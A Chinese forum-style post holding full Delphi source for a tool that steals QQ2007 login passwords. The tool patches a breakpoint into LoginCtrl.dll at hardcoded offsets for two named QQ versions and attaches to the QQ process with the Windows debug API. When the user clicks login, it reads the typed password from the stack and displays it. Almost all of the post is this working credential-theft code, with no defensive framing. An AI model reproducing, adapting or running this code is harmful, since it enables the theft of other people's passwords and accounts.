利用Debug Api 获得QQ2007密码

代码:

{*******************************************************}
{                                                       }
{       利用Debug Api 获得QQ2007密码                    }
{   只支持QQ2007版本为7.1.576.1763或7.0.431.1723        }
{       版权所有 (C) 2008 Open[x.g.c]                   }
{                                                       }
{*******************************************************}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
const
    Code :DWORD = $CC;
    JCode :DWORD =$8D;
implementation

{$R *.dfm}
var
  ProcessID: DWORD;

function HexToInt(HexStr: string): Int64;
var
  RetVar: Int64;
  i: byte;
begin
  HexStr := UpperCase(HexStr);
  if HexStr[length(HexStr)] = 'H' then
    Delete(HexStr, length(HexStr), 1);
  RetVar := 0;
  for i := 1 to length(HexStr) do begin
    RetVar := RetVar shl 4;
    if HexStr[i] in ['0'..'9'] then
      RetVar := RetVar + (byte(HexStr[i]) - 48)
    else
      if HexStr[i] in ['A'..'F'] then
        RetVar := RetVar + (byte(HexStr[i]) - 55)
      else begin
        Retvar := 0;
        break;
      end;
  end;
  Result := RetVar;
end;


function GetMem(nOK  :THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    res,tmp:string;
    s:array[0..FindCount] of string;
    i:integer;
begin
  if len<>0 then begin
    nSize:=len ;
    buf1[0]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      s[0]:='';
      for i :=0  to nSize-1 do  begin
        s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]);
      end;
    end;
    FreeMem(buf1[0], nSize);
    tmp:=s[0];
    i:=1;
    res:='';
    while i<length(tmp) do begin
      res:=res+chr(HexToInt(copy(tmp,i,2)));
      inc(i,2);
    end;
    result:=res;
    exit;
  end;
end;



procedure NewProcess;
  var
      I: Integer;
      Count: DWORD;
      ModHandles: array[0..$3FFF - 1] of DWORD;
      ModInfo: TModuleInfo;
      ModName: array[0..MAX_PATH] of char;
      Num : Cardinal;
      Rc,ok :Boolean;
      DebugD: DEBUG_EVENT;
      Context: _CONTEXT;
      base: Pointer;
      ProcHand : THandle;
      ThreadHandle :THandle;
      EAX : string;
begin
      ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
      if ProcHand <> 0 then
   try
      EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
          for I :=0 to (Count div SizeOf(DWORD)) - 1 do
              if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
                  ModHandles[i],@ModInfo,SizeOf(ModInfo)) and (RightStr(UpperCase(ModName),13)= 'LOGINCTRL.DLL') then
                   begin
                     if  DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $22C3A then
                     base :=  Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
                     if  DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $2043A then
                     base :=  Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
                     ok := WriteProcessMemory(ProcHand,base,@Code,1,Num);
                     if not ok then Exit;
                     if  not DebugActiveProcess(ProcessID) then  Exit;
                     Rc := True;
     while WaitForDebugEvent(DebugD, INFINITE) do
       begin
         case DebugD.dwDebugEventCode of
            EXIT_PROCESS_DEBUG_EVENT:
         begin
            Form1.Label1.Caption := '被调试进程中止';
            Break;
           end;
            CREATE_PROCESS_DEBUG_EVENT:
         begin
            ThreadHandle := DebugD.CreateProcessInfo.hThread;
            Form1.Label1.Caption := '请输入密码点登录';
          end;
             EXCEPTION_DEBUG_EVENT:
         begin
           case DebugD.Exception.ExceptionRecord.ExceptionCode of
             EXCEPTION_BREAKPOINT:
      begin
         if  base = DebugD.Exception.ExceptionRecord.ExceptionAddress then
         begin
           Context.ContextFlags := CONTEXT_FULL;
           GetThreadContext(ThreadHandle, Context);
           EAX := Trim(GetMem(ProcHand,Context.Esp + $24,20));
           Form1.Label1.Caption := 'QQ密码:' + EAX  ;
           Rc := WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
           Context.Eip := dword(base);
           SetThreadContext(ThreadHandle, Context);
        end;
      end;
   end;
       end;
      end;
    if Rc then
      ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId,DBG_CONTINUE)
    else
      ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
    end;
      CloseHandle(ThreadHandle);
  end;
      finally
          CloseHandle(ProcHand);
      end;
  end;


procedure TForm1.Button1Click(Sender: TObject);
var
  h: HWND;
  ThreadID: THandle;
begin
  h := FindWindow(nil,'QQ用户登录');
  if h = 0 then
begin
  Form1.Label1.Caption := '没有找到QQ登录框'  ;
  Exit;
end;
  GetWindowThreadProcessId(h,ProcessID) ;
  CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID) ;
end;

end.